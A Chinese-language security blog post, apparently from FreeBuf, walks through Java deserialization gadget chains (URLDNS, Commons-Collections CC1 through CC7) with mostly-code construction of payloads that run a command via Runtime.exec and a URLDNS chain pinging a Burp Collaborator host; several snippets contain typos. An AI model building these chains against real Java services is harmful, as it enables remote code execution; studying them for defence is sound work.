JAVA反序列化链分析
简单了解序列化
序列化就是是将抽象的数据对象转换成有序的字节流,便于保存与传递
反序列化就是将序列化后的字节流恢复成数据对象
在原生 JAVA
中,分别使用 wirteObject()
与 readObject()
进行序列化与反序列化
有些类对于序列化与反序列化有着独特的要求,为了满足要求则会重写 wirteObject()
与 readObject()
方法
产生安全问题的原因
只要进行了反序列化操作,就一定会执行该对象的 readObject()
方法,这使得攻击者拥有了可以在服务器上运行代码的能力
产生安全问题的形式
入口类的
readObject()
中调用了危险方法入口类参数中包含可控类,该类调用
readObject()
时会触发危险方法入口类参数中包含可控类,该类
readObject()
时调用其他类,其他类继续调用另一个类(套娃),直到有一个类调用了危险方法 (正常情况下反序列化漏洞的利用方法)构造函数/静态代码块等类加载时隐式执行
漏洞利用条件
大前提:参与序列化的所有类都继承了
Serializable
,即所有类都是可序列化的入口类重写了
readObject()
方法,且其参数类型宽泛,并且是jdk
自带的构造调用链
执行类 (RCE、SSRF、读写文件等)
URLDNS反序列化链
URL
类的 hashCode()
方法在触发后会以此触发 URLStreamHandler.hashCode()
, URLStreamHandler.getHostAddress()
,而在 HashMap.readObject()
中正好调用了 hashCode()
,因此可以很容易的获得一条 URLDNS
反序列化链
public static vmain(String[] args) {
HashMap<Object, Object> hashMap = new HashMap<>();
URL url = new URL("http://oskpl2cdoji2cmnsrxvpz83il9r1fq.burpcollaborator.net");
hashMap.put(url, "bbb");
// serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String FileName) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
Object obj = ois.readObject();
return obj;
}
但是构造这条链并没有这么顺利:hashMap.put()
时会调用 hash()
→ hashCode()
, 这使得反序列化前就会向 DNS
服务器发送请求造成误判
此外还存在一个更严重的问题, URLStreamHandler.hashCode()
调用的前提是 URL.hashCode == -1
如果在序列化前调用了 hash()
, 会使得 URL.hashCode != -1
, 导致反序列化时无法触发 URLStreamHandler.hashCode()
, 为了解决这个问题,就需要在 hashMap.put()
前将 URL.hashCode
修改成 !=-1
, hashMap.put()
后改回 -1
修改后的链
利用反射对上述问题进行修改
public static void main(String[] args) {
HashMap<Object, Object> hashMap = new HashMap<>();
URL url = new URL("http://oskpl2cdoji2cmnsrxvpz83il9r1fq.burpcollaborator.net");
Class c = url.getClass();
Filed urlHashCode = c.getDeclaredFilde("hashCode");
urlHashCode.setAccseeible(true);
// 改成非-1,不触发hashCode()
urlHashCode.set(url, 123);
hashMap.put(url, "bbb");
// 改回-1,使得可以触发hashCode()
urlHashCode.set(url, -1);
// serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String FileName) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
Object obj = ois.readObject();
return obj;
}
CC1
JDK
:8u65 ~ 8u71
执行类
在 commons-collections
包中存在 InvokerTransformer
类,其中存在一个 transform()
函数,利用该函数可以执行任意方法
// 反射方式调用exec
Runtime r = Runtime.getRuntime();
Class runtimeClass = Runtime.class;
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
// 改写成transform形式
// public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
寻找调用链
一
已知危险方法transform,寻找调用该方法(transform)的其他不同名的方法
以
TransformedMap.checkSetValue
() 为例,该方法调用了valueTransformer.transform()
方法,调用变量为TransformedMap.valueTransformer
该变量是类中的保护变量,可以通过构造方法传入,但是构造方法也是保护方法
利用该类中的一个公共静态方法
decorate
,该方法会调用构造方法
HashMap<Object, Object> hashedMap = new HashMap<>();
// checkSetValue只对valueTransformer调用transform方法, keyTransformer的值不影响执行,设为null
Map<Object, Object> transformedMap = TransformedMap.decorate(hashedMap, null, invokerTransformer);
二
按照流程,寻找调用
checkSetValue()
的方法,发现只有AbstractMapEntryDecorator.MapEntry.setValue()
调用了该方法在
Map
中,一个键值对即为Entry
,可以通过entrySet()
的方法获取Entry
,并调用setValue()
:
transformedMap.put("key", "value");
for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(r);
}
但是这种调用方式无法利用在发序列化中,需要继续寻找调用
setValue()
的方法,最好的结果找到某个对象的readObject()
调用了setValue()
三
最终发现,在
AnnotationInvocationHandler
的readObject()
中调用了setValue()
执行该方法的变量
memberValue
取自memberValues
,而memberValues
可以通过AnnotationInvocationHandler
的构造方法赋值,是一个可控变量AnnotationInvocationHandler()
非public,需要通过反射调用
// AnnotationInvocationHandler() 的参数为Class<? extends Annotation> type, Map<String, Object> memberValues
// 第一个参数是 java 中注解类的泛型,第二个参数即需要由我们传参控制的 memberValues
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Override.class, transformedMap);
合并
将上面调用链中的代码合并在一起即:
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object, Object> hashedMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashedMap, null, invokerTransformer);
// 为了可以获取到 entry,需要往 transformedMap 中传入键值对
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Override.class, transformedMap);
隐藏的问题
在这串代码中隐藏了几个问题
Runtime
类无法被反序列化在最后的
AnnotationInvocationHandler.readObject
() 中,setValue
的执行需要经过两个if判断同样在
AnnotationInvocationHandler.readObject
() 中,setValue
调用的参数是固定的,需要将该参数修改为我们构造的参数
解决方法
Runtime 的反序列化
Runtime
类无法反序列化,但是可以通过反射,获取 Runtime
的 Class
,将 Class
反序列化:
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
// 改为InvokerTransformer调用
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
为了方便,使用 ChainedTransformer
方法将上述代码通过递归的方式一次性调用
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// chainedTransformer.transform() 调用时,会将 Transformer 数组内的变量从前往后递归调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class)
两个 if
在 readObject
中会获取变量 type
的成员变量(434与440行),并用传入 Map
中的 key
查找 type
的成员变量,在第一个 if
中判断是否找到若找到则进入 if
内部
此处的
type
即AnnotationInvocationHandler
构造方法中传入的第一个参数,因此传入的注解的类需要有成员变量,如Target
同时,传入的
Map
中的key
的值改成Target
的成员变量:value
第二个 if
只要 Map
中的 value
无法被强转成 type
的类型就可以进入,很容易绕过
修改后的代码:
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "asdf");
Map<Object, Object> transformedMap = decorate(hashMap, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Target.class, transformedMap);
setValue() 的参数问题
在执行 memberValue.setValue()
时,参数固定为:
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))
);
这使得调用链无法正常执行,为了将参数修改回可以触发调用链的参数,需要利用 ConstantTransformer()
构造方法,调用该构造方法时会传入一个参数 iConstant
,调用 ConstantTransformer.transform()
时,无论传入了什么值,只会返回 iConstant
,利用这一点,传入 Runtime.class
防止参数被修改,即:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
最终结果
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// chainedTransformer.transform() 调用时,会将 Transformer 数组内的变量从前往后递归调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform()
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "asdf");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String FileName) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
Object obj = ois.readObject();
return obj;
}
ysoserial中的CC1
在 ysoserial
中的 CC1
链的后半部分调用链与上面一致,不同的是开头的部分
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
在这条链中,通过动态代理的方式,调用了 AnnotationInvocationHandler.invoke()
→ LazeMap.get()
从而调用了 transform()
方法
当动态代理处理器类代理的类调用方法时,处理器类的
invoke()
方法就会被调用将
lazeMap
作为memberValues
放入一个用AnnotationInvocationHandler
中, 并对其生成一个Map
类的动态代理Proxy
将代理
Proxy
作为memberValues
放入AnnotationInvocationHandler
中
AnnotationInvocationHandler
调用readObject()
时会调用memberValues.entrySet()
而调用
memberValues.entrySet()
, 便会调用动态代理的invoke()
即:
AnnotationInvocationHandler.readObject() --> Proxy.entrySet() --> AnnotationInvocationHandler.invoke() --> memberValues.get() --> lazeMap.get()
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazeMap);
// 对上面的invocationHandler生成动态代理, 由于AnnotationInvocationHandler的构造方法接收Map类, 所以将其代理为Map类对象
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
// 将生成的动态代理放入AnnotationInvocationHandler
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
CC6
CC6
这条链是 ysoserial
中泛用性最好的一条链,它不受 jdk
版本的限制,而且他的入口类 HashMap
是一个很常用的类,几乎不会被过滤
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC6
的后半部分与 CC1
一致,因此只分析 HashMap
到 LazeMap
这段调用链的执行过程
在 HashMap.readObject()
中:
先是经过了两个 if
判断,分别判断了 HashMap
的 loadFactor
和 size
第一个变量是在 HashMap
构造函数中赋值的,调用无参构造时值为 0.75f
,而 size
由于要往 HashMap
中放入调用链,因此一定大于0,这两个判断直接就绕过了
在反序列化的最后,调用了 putVal(hash(key))
,在 hash()
中又调用了 hashCode()
:
接着看 TiedMapEntry
类,在 TiedMapEntry.hashCode()
调用了 getValue()
:
然后是对 map
调用 get(key)
:
因此得出了这条链的逻辑:将 LazeMap
作为 TiedMapEntry
的 map
,TiedMapEntry
作为 HashMap
的 key
,但调用反序列化时,便会调用到 LazeMap.get()
// 构造LazeMap
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
// 将LazeMap放入TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
// 再将TiedMapEntry放入HashMap
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "bbb");
serialize(rceMap);
unserialize("ser.bin");
这条调用链很简单,只要短短几行,但其中还有一个坑
这个坑与 URLDNS
链中类似,在调用 HashMap.get()
时,也会调用到 hashCode()
,导致在反序列化前命令执行,造成误判
所以也要用反射进行修改:
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
// 选择修改TiedMapEntry, 在构造时传入任意一个 Map 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aaa");
HashMap<Object, Object> rceMap = new HashMap<>();
rceMap.put(tiedMapEntry, "bbb");
// 修改TiedMapEntry的 map
Class<? extends TiedMapEntry> tideMapEntryClass = TiedMapEntry.class;
Field field = tideMapEntryClass.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazeMap);
serialize(rceMap);
unserialize("ser.bin");
其他的CC链
剩下的几条 CC
链的修改类似 CC1
与 CC6
,大多是在入口类与执行类上做的改变
如 CC3
将执行方式有反射换成了动态类加载,将 ChainedTransformer.transform()
→ InvokerTransformer.transform()
换成了ChainedTransformer.transform()
→ InstantiateTransformer.transform()
:
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field nameFiled = c.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = c.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
// Evil为构造的恶意类
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/unserialize/CC/Evil.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
/*
* _tfactory是利用TemplatesImpl执行命令的必要参数, 在反序列化时会自动赋值, 不是必须修改的属性
* 但如果要在发序列化前执行命令,则需要添加下面的代码
* Field tfactoryFiled = c.getDeclaredField("_tfactory");
* tfactoryFiled.setAccessible(true);
* tfactoryFiled.set(templates, new TransformerFactoryImpl());
* templates.newTransformer();
*/
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
CC2
与 CC4
是在 Common-Collections4
使用的链,它们使用相同的入口类:PriorityQueue.readObject()
→ TransformingComparator.compare()
CC2
: TransformingComparator.compare()
→ InvokerTransformer.transform()
→ TemplatesImpl.newTransformer()
的调用链,没有使用 Transform
数组:
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerFiled = transformingComparatorClass.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, invokerTransformer);
CC4
:TransformingComparator.compare()
→ InstantiateTransformer.transform()
:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ChainedTransformer(), new ComparableComparator());
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerFiled = transformingComparatorClass.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, chainedTransformer);
CC5
和 CC7
则提供了不同的入口类:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap<>());
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
// 构造相同的hash值
Map lazeMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazeMap1.put("yy", 1);
Map lazeMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazeMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazeMap1, 1);
hashtable.put(lazeMap2, 1);
// hashtable添加lazeMap2时会调用equals() -> put(), 将 yy=yy添加进lazeMap2
lazeMap2.remove("yy");
Class<? extends ChainedTransformer> chainedTransformerClass = chainedTransformer.getClass();
Field iTransformersFiled = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersFiled.setAccessible(true);
iTransformersFiled.set(chainedTransformer, transformers);
总结
七条 CC
链的调用关系可以归纳为一张图,各个链的每一部分实际上都是独立的,根据这些独立部分进行排列组合实际上还能写出很多条链
参考
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)